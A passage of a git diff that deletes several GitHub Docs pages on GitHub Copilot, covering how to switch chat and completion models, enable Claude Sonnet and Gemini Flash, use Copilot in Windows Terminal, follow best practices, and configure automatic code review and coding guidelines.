[AUTOTITLE](/copilot/configuring-github-copilot/installing-the-github-copilot-extension-in-your-environment). - -{% data reusables.copilot.model-picker-enable-alternative-models %} - -{% data reusables.copilot.chat-model-limitations-ide %} - -1. To open the chat view, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** in the menu bar, then click **Open Chat**. -1. In the bottom right of the chat view, select the **CURRENT-MODEL** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click the AI model of your choice. - -{% endxcode %} diff --git a/content/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-code-completion.md b/content/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-code-completion.md deleted file mode 100644 index 39e1471cb13c..000000000000 --- a/content/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-code-completion.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Changing the AI model for Copilot code completion -shortTitle: 'Change the completion model' -intro: 'Learn how to change the default LLM for {% data variables.product.prodname_copilot_short %} code completion to a different model.' -versions: - feature: copilot -topics: - - Copilot ---- - -## Overview - -By default, {% data variables.product.prodname_copilot_short %} code completion uses the GPT 3.5 Turbo large language model (LLM). As an alternative, you can choose to use a model based on GPT 4o-mini. This model has been trained on a wide range of high quality public {% data variables.product.github %} repositories, providing coverage of over 30 programming languages. Its knowledge base is more current than the default model and you may find that it generates completion suggestions more quickly. - -<details> - <summary>View the list of programming languages and technologies included in the training data.</summary> - - * C - * C# - * C++ - * Clojure - * CSS - * Dart - * Dockerfile - * Elixir - * Emacs Lisp - * Go - * Haskell - * HTML - * Java - * JavaScript - * Julia - * Jupyter Notebook - * Kotlin - * Lua - * MATLAB - * Objective-C - * Perl - * PHP - * PowerShell - * Python - * R - * Ruby - * Rust - * Scala - * Shell - * Swift - * TeX - * TypeScript - * Vue - -</details> - -> [!NOTE] -> * Multiple model support for {% data variables.product.prodname_copilot_short %} code completion is in {% data variables.release-phases.public_preview %} and is subject to change. -> * Currently the ability to switch AI model is available in the latest releases of {% data variables.product.prodname_vscode_shortname %} and JetBrains IDEs, with the latest version of the {% data variables.product.prodname_copilot %} extension. - -## Effects of switching the AI model - -Changing the model that's used for {% data variables.product.prodname_copilot_short %} code completion does not affect the model that's used by {% data variables.product.prodname_copilot_chat_short %}. See [AUTOTITLE](/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-chat). - -There are no changes to the data collection and usage policy if you change the AI model. - -If you are on a {% data variables.product.prodname_copilot_free_short %} subscription, all completions count against your completions quota regardless of the model used. See [AUTOTITLE](/copilot/about-github-copilot/subscription-plans-for-github-copilot#comparing-copilot-subscriptions). - -The setting to enable or disable suggestions that match public code are applied irrespective of which model you choose. See [AUTOTITLE](/enterprise-cloud@latest/copilot/using-github-copilot/finding-public-code-that-matches-github-copilot-suggestions). - -## Enabling the model switcher - -{% ifversion fpt %} - -If you have a {% data variables.product.prodname_copilot_free_short %} or {% data variables.product.prodname_copilot_pro_short %} subscription, the model switcher for {% data variables.product.prodname_copilot_short %} code completion is automatically enabled. - -{% endif %} - -{% data reusables.copilot.editor-preview-settings %} - -{% vscode %} - -## Changing the AI model for code completion - -The following instructions are for {% data variables.product.prodname_vscode_shortname %}. If you are using a JetBrains IDE, click the appropriate tab at the start of this article. - -1. Open the command palette by pressing <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux) / <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac). -1. Type `change completions model` and select the "{% data variables.product.prodname_copilot %}: Change Completions Model" command. -1. In the dropdown menu, select the model you want to use. - -Alternatively, if Command Center is enabled, you can click {% octicon "chevron-down" aria-label="The downward-pointing arrowhead" %} beside the **{% octicon "copilot" aria-hidden="true" %}** icon at the top of the {% data variables.product.prodname_vscode_shortname %} window, then click **Configure Code Completions** in the dropdown menu. Then choose **Change Completions Model** in the dropdown menu and select the model you want to use. - -## Checking which model is being used - -1. Open the Settings editor by pressing <kbd>Ctrl</kbd>+<kbd>,</kbd> (Linux/Windows) / <kbd>Command</kbd>+<kbd>,</kbd> (Mac). -1. Type `copilot completion` and look for the "{% data variables.product.github %} > {% data variables.product.prodname_copilot_short %}: Selected Completion Model" section. - - The field in this section displays the currently selected model. If the field is empty, the default model is being used. - -{% endvscode %} - -{% jetbrains %} - -## Changing the AI model for code completion - -The following instructions are for JetBrains IDEs. If you are using {% data variables.product.prodname_vscode_shortname %}, click the appropriate tab at the start of this article. - -1. Click the **{% octicon "copilot" aria-hidden="true" %}** icon in the status bar. -1. In the popup menu, click **Edit Model for Completion**. -1. In the settings dialog box for "Languages & Frameworks > {% data variables.product.prodname_copilot %}," click the dropdown menu for **Model for completions** and select the model you want to use. -1. Click **OK**. - -{% endjetbrains %} diff --git a/content/copilot/using-github-copilot/ai-models/index.md b/content/copilot/using-github-copilot/ai-models/index.md deleted file mode 100644 index a3504632cd2c..000000000000 --- a/content/copilot/using-github-copilot/ai-models/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: AI models for Copilot -shortTitle: AI models -intro: "Learn how to use alternative large language models for {% data variables.product.prodname_copilot %}." -versions: - feature: copilot -topics: - - Copilot -children: - - /changing-the-ai-model-for-copilot-chat - - /changing-the-ai-model-for-copilot-code-completion - - /using-claude-sonnet-in-github-copilot - - /using-gemini-flash-in-github-copilot ---- diff --git a/content/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot.md b/content/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot.md deleted file mode 100644 index 205a5da92e56..000000000000 --- a/content/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Using Claude Sonnet in Copilot Chat -allowTitleToDifferFromFilename: true -shortTitle: 'Use {% data variables.copilot.copilot_claude_sonnet %}' -intro: 'Learn how to enable {% data variables.copilot.copilot_claude_sonnet %} in {% data variables.product.prodname_copilot_chat %}, for {% ifversion fpt %}yourself or{% endif %} your organization{% ifversion ghec %} or enterprise{% endif %}.' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/using-github-copilot/using-claude-sonnet-in-github-copilot ---- - -> [!NOTE] All {% data variables.copilot.copilot_claude_sonnet %} models are in {% data variables.release-phases.public_preview %} and subject to change. The [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-pre-release-license-terms) apply to your use of this product. - -## About {% data variables.copilot.copilot_claude_sonnet %} in {% data variables.product.prodname_copilot_chat %} - -{% data variables.copilot.copilot_claude_sonnet %} is a family of large language models that you can use as an alternative to the default model used by {% data variables.product.prodname_copilot_chat_short %}. {% data variables.copilot.copilot_claude_sonnet %} excels at coding tasks across the entire software development lifecycle, from initial design to bug fixes, maintenance to optimizations. Learn more about the [Sonnet's capabilities](https://www.anthropic.com/claude/sonnet). - -{% data variables.copilot.copilot_claude_sonnet_37 %} is currently available in: - -* {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode %} -* {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vs %} 2022 version 17.13 or later -* Immersive mode in {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.github %} - -{% data variables.copilot.copilot_claude_sonnet_35 %} is currently available in: - -* {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode %} -* {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vs %} 2022 version 17.12 or later -* Immersive mode in {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.github %} - -{% data variables.product.prodname_copilot %} uses {% data variables.copilot.copilot_claude_sonnet %} hosted on Amazon Web Services. When using {% data variables.copilot.copilot_claude_sonnet %}, prompts and metadata are sent to Amazon's Bedrock service, which makes the [following data commitments](https://docs.aws.amazon.com/bedrock/latest/userguide/data-protection.html): _Amazon Bedrock doesn't store or log your prompts and completions. Amazon Bedrock doesn't use your prompts and completions to train any AWS models and doesn't distribute them to third parties_. - -Beginning March 11th, 2025, {% data variables.copilot.copilot_claude_sonnet %} will additionally be hosted by Anthropic PBC and Google Cloud Platform when used in {% data variables.product.prodname_copilot %} to provide additional model capacity and reliability. - -When using {% data variables.copilot.copilot_claude_sonnet %}, input prompts and output completions continue to run through {% data variables.product.prodname_copilot %}'s content filters for public code matching, when applied, along with those for harmful, offensive, or off-topic content. - -## Configuring access - -You must enable access to each {% data variables.copilot.copilot_claude_sonnet %} individually before you can use the model. - -{% ifversion fpt %} - -### Setup for individual use - -> [!NOTE] {% data variables.copilot.copilot_claude_sonnet_37 %} is not currently available for {% data variables.product.prodname_copilot_free_short %} - -If you have a {% data variables.product.prodname_copilot_free_short %} or {% data variables.product.prodname_copilot_pro_short %} subscription, you can enable {% data variables.copilot.copilot_claude_sonnet %} in two ways: - -* The first time you choose to use {% data variables.copilot.copilot_claude_sonnet %} models with {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode %}, or in the immersive view of {% data variables.product.prodname_copilot_chat_short %}, you will be prompted to allow access to the model. - - Clicking **Allow** enables you to use {% data variables.copilot.copilot_claude_sonnet %} and updates the policy in your personal settings on {% data variables.product.github %}. - -* You can enable the model directly in your personal settings on the {% data variables.product.github %} website. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-policies-as-an-individual-subscriber#enabling-or-disabling-alternative-ai-models). - -{% endif %} - -### Setup for organization {% ifversion ghec %}and enterprise{% endif %} use - -As an {% ifversion ghec %}enterprise or{% endif %} organization owner, you can enable or disable {% data variables.copilot.copilot_claude_sonnet %} models for everyone who has been assigned a {% ifversion ghec %}{% data variables.product.prodname_copilot_enterprise_short %} or {% endif %}{% data variables.product.prodname_copilot_business_short %} seat through your {% ifversion ghec %}enterprise or {% endif %}organization. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization){% ifversion ghec %} and [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise){% endif %}. - -## Using {% data variables.copilot.copilot_claude_sonnet %} - -For details of how to change the model that {% data variables.product.prodname_copilot_chat_short %} uses, see: [AUTOTITLE](/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-chat). - -## Leaving feedback - -To leave feedback about {% data variables.copilot.copilot_claude_sonnet %} in {% data variables.product.prodname_copilot %}, or to ask a question, see the {% data variables.product.prodname_github_community %} discussion [Claude 3.5 Sonnet is now available to all {% data variables.product.prodname_copilot_short %} users in Public Preview](https://github.com/orgs/community/discussions/143337). diff --git a/content/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot.md b/content/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot.md deleted file mode 100644 index fc32eb057e97..000000000000 --- a/content/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Using Gemini 2.0 Flash in Copilot Chat -allowTitleToDifferFromFilename: true -shortTitle: 'Use {% data variables.copilot.copilot_gemini_flash %}' -intro: 'Learn how to enable {% data variables.copilot.copilot_gemini_flash %} in {% data variables.product.prodname_copilot_chat %}, for {% ifversion fpt %}yourself or{% endif %} your organization{% ifversion ghec %} or enterprise{% endif %}.' -versions: - feature: copilot -topics: - - Copilot ---- - -> [!NOTE] {% data variables.copilot.copilot_gemini_flash %} is in {% data variables.release-phases.public_preview %} and subject to change. The [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-pre-release-license-terms) apply to your use of this product. - -## About {% data variables.copilot.copilot_gemini_flash %} in {% data variables.product.prodname_copilot %} - -{% data variables.copilot.copilot_gemini_flash %} is a large language model (LLM) that you can use as an alternative to the default model used by {% data variables.product.prodname_copilot_chat_short %}. {% data variables.copilot.copilot_gemini_flash %} is a responsive LLM that can empower you to build apps faster and more easily, so you can focus on great experiences for your users. {% data reusables.copilot.gemini-model-info %} - -{% data variables.copilot.copilot_gemini_flash %} is currently available in: - -* {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode %} -* Immersive mode in {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.github %} - -{% data variables.product.prodname_copilot %} uses {% data variables.copilot.copilot_gemini_flash %} hosted on Google Cloud Platform (GCP). When using {% data variables.copilot.copilot_gemini_flash %}, prompts and metadata are sent to GCP, which makes the [following data commitment](https://cloud.google.com/gemini/docs/discover/data-governance): _Gemini doesn't use your prompts, or its responses, as data to train its models._ - -When using {% data variables.copilot.copilot_gemini_flash %}, input prompts and output completions continue to run through {% data variables.product.prodname_copilot %}'s content filters for public code matching, when applied, along with those for harmful, offensive, or off-topic content. - -## Configuring access - -You must enable access to {% data variables.copilot.copilot_gemini_flash %} before you can use the model. - -{% ifversion fpt %} - -### Setup for individual use - -If you have a {% data variables.product.prodname_copilot_free_short %} or {% data variables.product.prodname_copilot_pro_short %} subscription, you can enable {% data variables.copilot.copilot_gemini_flash %} in two ways: - -* The first time you choose to use {% data variables.copilot.copilot_gemini_flash %} with {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode %}, or in the immersive view of {% data variables.product.prodname_copilot_chat_short %}, you will be prompted to allow access to the model. - - Clicking **Allow** enables you to use {% data variables.copilot.copilot_gemini_flash %} and updates the policy in your personal settings on {% data variables.product.github %}. - -* You can enable the model directly in your personal settings on the {% data variables.product.github %} website. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-policies-as-an-individual-subscriber#enabling-or-disabling-alternative-ai-models). - -{% endif %} - -### Setup for organization {% ifversion ghec %}and enterprise{% endif %} use - -As an {% ifversion ghec %}enterprise or{% endif %} organization owner, you can enable or disable {% data variables.copilot.copilot_gemini_flash %} for everyone who has been assigned a {% ifversion ghec %}{% data variables.product.prodname_copilot_enterprise_short %} or {% endif %}{% data variables.product.prodname_copilot_business_short %} seat through your {% ifversion ghec %}enterprise or {% endif %}organization. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization){% ifversion ghec %} and [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise#copilot-access-to-alternative-ai-models){% endif %}. - -## Using {% data variables.copilot.copilot_gemini_flash %} - -For details of how to change the model that {% data variables.product.prodname_copilot_chat_short %} uses, see [AUTOTITLE](/copilot/using-github-copilot/ai-models/changing-the-ai-model-for-copilot-chat). diff --git a/content/copilot/using-github-copilot/asking-github-copilot-questions-in-windows-terminal.md b/content/copilot/using-github-copilot/asking-github-copilot-questions-in-windows-terminal.md deleted file mode 100644 index e8165654da0a..000000000000 --- a/content/copilot/using-github-copilot/asking-github-copilot-questions-in-windows-terminal.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Asking GitHub Copilot questions in Windows Terminal -intro: 'You can use {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_windows_terminal %} to get suggestions and explanations for the command line.' -topics: - - Copilot -shortTitle: Copilot in Windows Terminal -versions: - feature: copilot ---- - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot %}**. See [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). -* **{% data variables.product.prodname_windows_terminal %} Canary installed**. For installation instructions, see [Installing {% data variables.product.prodname_windows_terminal %} Canary](https://github.com/microsoft/terminal?tab=readme-ov-file#installing-windows-terminal-canary). -* **{% data variables.product.prodname_copilot %} connected to Terminal Chat**. See [AUTOTITLE](/copilot/quickstart?tool=windowsterminal). - -If you have access to {% data variables.product.prodname_copilot %} via your organization or enterprise, you cannot use {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_windows_terminal %} if your organization owner or enterprise administrator has disabled {% data variables.product.prodname_copilot_cli_short %}. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-policies-for-copilot-in-your-organization). - -## Getting command explanations and suggestions - -In the Terminal Chat chat window, type a question (for example, `how do i list all markdown files in my directory`) then press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %}'s answer is displayed below your question. - -Click on an answer to insert it to the command line. - -## Sharing feedback - -To send feedback to {% data variables.product.prodname_windows_terminal %} about the quality of a suggestion, open an issue in the [{% data variables.product.prodname_windows_terminal %} repository](https://github.com/microsoft/terminal/issues). - -## Further reading - -* [Terminal Chat](https://learn.microsoft.com/windows/terminal/terminal-chat#setting-up-terminal-chat) in the Microsoft Learn documentation diff --git a/content/copilot/using-github-copilot/best-practices-for-using-github-copilot.md b/content/copilot/using-github-copilot/best-practices-for-using-github-copilot.md deleted file mode 100644 index 65a170948e7e..000000000000 --- a/content/copilot/using-github-copilot/best-practices-for-using-github-copilot.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Best practices for using GitHub Copilot -intro: 'Learn how to get the most out of {% data variables.product.prodname_copilot_short %}.' -topics: - - Copilot -versions: - feature: copilot -shortTitle: Best practices ---- - -## Understand {% data variables.product.prodname_copilot_short %}'s strengths and weaknesses - -{% data variables.product.prodname_copilot %} is an AI coding assistant that helps you write code faster and with less effort, allowing you to focus more energy on problem solving and collaboration. Before you start working with {% data variables.product.prodname_copilot_short %}, it's important to understand when you should and shouldn't use it. - -**Some of the things {% data variables.product.prodname_copilot_short %} does best include:** - -* Writing tests and repetitive code -* Debugging and correcting syntax -* Explaining and commenting code -* Generating regular expressions - -**{% data variables.product.prodname_copilot_short %} is not designed to:** - -* Respond to prompts unrelated to coding and technology -* Replace your expertise and skills. Remember that you are in charge, and {% data variables.product.prodname_copilot_short %} is a powerful tool at your service. - -## Choose the right {% data variables.product.prodname_copilot_short %} tool for the job - -While {% data variables.product.prodname_copilot_short %} code completions and {% data variables.product.prodname_copilot_chat_short %} share some functionality, the two tools are best used in different circumstances. - -**Code completions work best for:** - -* Completing code snippets, variable names, and functions as you write them -* Generating repetitive code -* Generating code from inline comments in natural language -* Generating tests for test-driven development - -**Alternatively, {% data variables.product.prodname_copilot_chat_short %} is best suited for:** - -* Answering questions about code in natural language -* Generating large sections of code, then iterating on that code to meet your needs -* Accomplishing specific tasks with keywords and skills. {% data variables.product.prodname_copilot_chat_short %} has built-in keywords and skills designed to provide important context for prompts and accomplish common tasks quickly. Different types of keywords and skills are available in different {% data variables.product.prodname_copilot_chat_short %} platforms. See [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide#using-keywords-in-your-prompt){% ifversion fpt %}.{% else %} and [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#powered-by-skills).{% endif %} -* Completing a task as a specific persona. For example, you can tell {% data variables.product.prodname_copilot_chat_short %} that it is a Senior C++ Developer who cares greatly about code quality, readability, and efficiency, then ask it to review your code. - -## Create thoughtful prompts - -Prompt engineering, or structuring your request so {% data variables.product.prodname_copilot_short %} can easily understand and respond to it, plays a critical role in {% data variables.product.prodname_copilot_short %}'s ability to generate a valuable response. Here are a few quick tips you should remember while crafting your prompts: - -* Break down complex tasks. -* Be specific about your requirements. -* Provide examples of things like input data, outputs, and implementations. -* Follow good coding practices. - -To learn more, see [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot). - -## Check {% data variables.product.prodname_copilot_short %}'s work - -While {% data variables.product.prodname_copilot_short %} is very powerful, it is still a tool capable of making mistakes, and you should always validate the code it suggests. Use the following tips to ensure you are accepting accurate, secure suggestions: - -* **Understand suggested code before you implement it.** To ensure you fully understand {% data variables.product.prodname_copilot_short %}'s suggestion, you can ask {% data variables.product.prodname_copilot_chat_short %} to explain the code. -* **Review {% data variables.product.prodname_copilot_short %}'s suggestions carefully.** Consider not just the functionality and security of the suggested code, but also the readability and maintainability of the code moving forward. -* **Use automated tests and tooling to check {% data variables.product.prodname_copilot_short %}'s work.** With the help of tools like linting, {% data variables.product.prodname_code_scanning %}, and IP scanning, you can automate an additional layer of security and accuracy checks. - -> [!TIP] Optionally, you may want to check {% data variables.product.prodname_copilot_short %}'s work for similarities to existing public code. If you don't want to use similar code, you can turn off suggestions matching public code. See {% ifversion fpt %}[AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-policies-as-an-individual-subscriber#enabling-or-disabling-suggestions-matching-public-code) or [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#policies-for-suggestion-matching).{% else %}[AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-policies-as-an-individual-subscriber#enabling-or-disabling-suggestions-matching-public-code), [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/setting-policies-for-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#policies-for-suggestion-matching), or [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise#suggestions-matching-public-code).{% endif %} - -## Guide {% data variables.product.prodname_copilot_short %} towards helpful outputs - -There are several adjustments you can make to steer {% data variables.product.prodname_copilot_short %} towards more valuable responses: - -* **Provide {% data variables.product.prodname_copilot_short %} with helpful context:** - * If you are using {% data variables.product.prodname_copilot_short %} in your IDE, open relevant files and close irrelevant files. - * In {% data variables.product.prodname_copilot_chat_short %}, if a particular request is no longer helpful context, delete that request from the conversation. Alternatively, if none of the context of a particular conversation is helpful, start a new conversation. - * If you are using {% data variables.product.prodname_copilot_chat_dotcom_short %}, provide specific repositories, files, symbols, and more as context. See [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom). - * If you are using {% data variables.product.prodname_copilot_chat_short %} in your IDE, use keywords to focus {% data variables.product.prodname_copilot_short %} on a specific task or piece of context. See [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide#using-keywords-in-your-prompt). -* **Rewrite your prompts to generate different responses.** If {% data variables.product.prodname_copilot_short %} is not providing a helpful response, try rephrasing your prompt, or even breaking your request down into multiple smaller prompts. -* **Pick the best available suggestion.** When you are using code completions, {% data variables.product.prodname_copilot_short %} might offer more than one suggestion. You can use keyboard shortcuts to quickly look through all available suggestions. For the default keyboard shortcuts for your operating system, see [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-your-environment#keyboard-shortcuts-for-github-copilot). -* **Provide feedback to improve future suggestions.** You can provide feedback in many ways: - * For code completions, accept or reject {% data variables.product.prodname_copilot_short %}'s suggestion. - * For individual responses in {% data variables.product.prodname_copilot_chat_short %}, click the thumbs up or thumbs down icons next to the response. - * For {% data variables.product.prodname_copilot_chat_short %} in your IDE, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide#sharing-feedback) for instructions specific to your environment. - * For {% data variables.product.prodname_copilot_chat_dotcom_short %}, leave a comment on the [feedback discussion](https://github.com/orgs/community/discussions/110314). - -## Stay up-to-date on {% data variables.product.prodname_copilot_short %}'s features - -New features are regularly added to {% data variables.product.prodname_copilot_short %} to create new abilities, build on existing features, and improve the user experience. To stay up-to-date with {% data variables.product.prodname_copilot_short %}'s features, see the [changelog](https://github.blog/changelog/label/copilot/). diff --git a/content/copilot/using-github-copilot/code-review/configuring-automatic-code-review-by-copilot.md b/content/copilot/using-github-copilot/code-review/configuring-automatic-code-review-by-copilot.md deleted file mode 100644 index 3fa1bc28e2f5..000000000000 --- a/content/copilot/using-github-copilot/code-review/configuring-automatic-code-review-by-copilot.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Configuring automatic code review by Copilot -shortTitle: Automatic code review -intro: "Learn how to configure {% data variables.product.prodname_copilot_short %} to automatically review pull requests in a repository." -versions: - feature: copilot -topics: - - Copilot ---- - -## About automatic code review - -By default, {% data variables.product.prodname_copilot_short %} will only review a pull request when it is assigned to the pull request in the same way you would assign a human reviewer. However, repository owners can configure {% data variables.product.prodname_copilot_short %} to automatically review all pull requests in the repository. Organization owners can configure {% data variables.product.prodname_copilot_short %} to automatically review all pull requests in some or all of the repositories in the organization. - -### Triggering an automatic pull request review - -After you configure automatic code review, {% data variables.product.prodname_copilot_short %} will review pull requests in the following situations: - -* When a pull request is created as an "Open" pull request. - - A review is not triggered if the pull request is created as a "Draft" pull request. - -* The first time a "Draft" pull request is switched to "Open". - -> [!NOTE] -> {% data variables.product.prodname_copilot_short %} only automatically reviews a pull request once. If you make changes to the pull request after it has been automatically reviewed and you want {% data variables.product.prodname_copilot_short %} to re-review the pull request, you must request this manually. To do this, click the {% octicon "sync" aria-label="Re-request review" %} button next to {% data variables.product.prodname_copilot_short %}'s name in the **Reviewers** menu. - -## Configuring automatic code review for a single repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repo-rulesets-settings %} -{% data reusables.repositories.repo-new-ruleset %} -1. Under "Target branches," click **Add target** and choose one of the options—for example, **Include default branch** or **Include all branches**. -1. Under "Branch rules," select the **Require a pull request before merging** checkbox. - - This expands a set of subsidiary options. - -1. Select the **Request pull request review from {% data variables.product.prodname_copilot_short %}** checkbox. - - ![Screenshot of the "Request pull request review from {% data variables.product.prodname_copilot_short %}" branch ruleset option.](/assets/images/help/copilot/code-review/automatic-code-review.png) - -1. At the bottom of the page, click **Create**. - -## Configuring automatic code review for repositories in an organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-ruleset-settings %} -{% data reusables.repositories.repo-new-ruleset %} -1. Under "Target repositories," click **Add target** and choose either **Include by pattern** or **Exclude by pattern**. -1. In the dialog box that's displayed, type a pattern that will match the names of repositories in your organization—for example, `*feature` to match all repositories with names that end in `feature`. - - For information about pattern-matching syntax, see [AUTOTITLE](/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization#using-fnmatch-syntax). - -1. In the dialog box, click **Add inclusion pattern** or **Add exclusion pattern**. -1. Repeat the process for any additional patterns you want to add. - - > [!NOTE] - > You can add multiple targeting criteria to the same ruleset. Exclusion patterns are applied after inclusion patterns. For example, you could include any repositories matching the pattern `*cat*`, and specifically exclude a repository matching the pattern `not-a-cat`. - -1. Under "Target branches," click **Add target** and choose one of the target options. -1. Under "Branch rules," select the **Require a pull request before merging** checkbox. - - This expands a set of subsidiary options. - -1. Select the **Request pull request review from {% data variables.product.prodname_copilot_short %}** checkbox. -1. At the bottom of the page, click **Create**. diff --git a/content/copilot/using-github-copilot/code-review/configuring-coding-guidelines.md b/content/copilot/using-github-copilot/code-review/configuring-coding-guidelines.md deleted file mode 100644 index e07ef1927fbf..000000000000 --- a/content/copilot/using-github-copilot/code-review/configuring-coding-guidelines.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Configuring coding guidelines for GitHub Copilot code review -shortTitle: Configuring coding guidelines -intro: "Learn how to customize {% data variables.copilot.copilot_code-review_short %} with custom coding guidelines." -allowTitleToDifferFromFilename: true -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /early-access/copilot/code-review/configuring-coding-guidelines - - /early-access/copilot/code-reviews/configuring-coding-guidelines ---- - -{% data reusables.copilot.code-review.custom-coding-guidelines-prerequisites %} - -## About coding guidelines - -You can customize {% data variables.copilot.copilot_code-review_short %} with custom coding guidelines written in natural language. For more information on {% data variables.copilot.copilot_code-review_short %}, see [AUTOTITLE](/copilot/using-github-copilot/code-review/using-copilot-code-review). - -With coding guidelines, {% data variables.product.prodname_copilot_short %} can give feedback based on your organization's specific coding style and best practices. - -Because {% data variables.copilot.copilot_code-review_short %} is powered by a large language model, it can help with enforcing coding guidelines that are not covered by your linter or static analysis tool. - -Coding guidelines are configured at the repository level. You can create and enable up to 6 coding guidelines per repository. - -> [!NOTE] -> -> * Coding guidelines only work with languages supported by Copilot code review. For a list of supported languages, see [AUTOTITLE](/copilot/using-github-copilot/code-review/using-copilot-code-review#supported-programming-languages). -> * Coding guidelines only apply to code reviews carried out by Copilot. The guidelines do not affect Copilot code completion suggestions, or code suggested in Copilot Chat responses. - -## Dos and don'ts for coding guidelines - -* **Do** use simple, clear and concise language to describe your coding guideline. -* **Do** be as specific as possible about what Copilot should look for - that is, what you do or don't want to see in your code. -* **Do** take a look at the [Coding guidelines examples](#coding-guidelines-examples) below for some inspiration. -* **Don't** try to use coding guidelines to enforce style guidelines that can be covered by your linter or static analysis tool. -* **Don't** use wording that is ambiguous or could be interpreted in different ways. -* **Don't** try to fit multiple different ideas into a single coding guideline. - -## Creating a coding guideline - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} - -1. In the "Code & automation" section of the side bar, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}**, then **Code review**. -1. Click **Create guideline**. -1. Under "Name," give the coding guideline a name. -1. Under "Description," provide a description of the coding guideline up to 600 characters long. This will be used by {% data variables.product.prodname_copilot_short %} to understand your coding style and to decide when to leave a comment. - - How you write your description has a big impact on the quality of comments that {% data variables.product.prodname_copilot_short %} will generate. For help with writing effective coding guidelines, see [Dos and don'ts for coding guidelines](#dos-and-donts-for-coding-guidelines) above, and [Coding guidelines examples](#coding-guidelines-examples) below. - -1. Optionally, limit the coding guideline to specific file types or paths by clicking **Add file path** and adding path patterns. - - You can use `fnmatch` syntax to define paths to target, with `*` as a wildcard to match any string of characters. - - {% data reusables.repositories.about-fnmatch %} - -1. Test your coding guideline to make sure it works as expected. - - 1. Click **Add sample**. - 1. Add your own sample, or press **{% octicon "copilot" aria-hidden="true" %} Generate code sample** to automatically generate a code sample based on your title and description. - 1. Click **Save** to 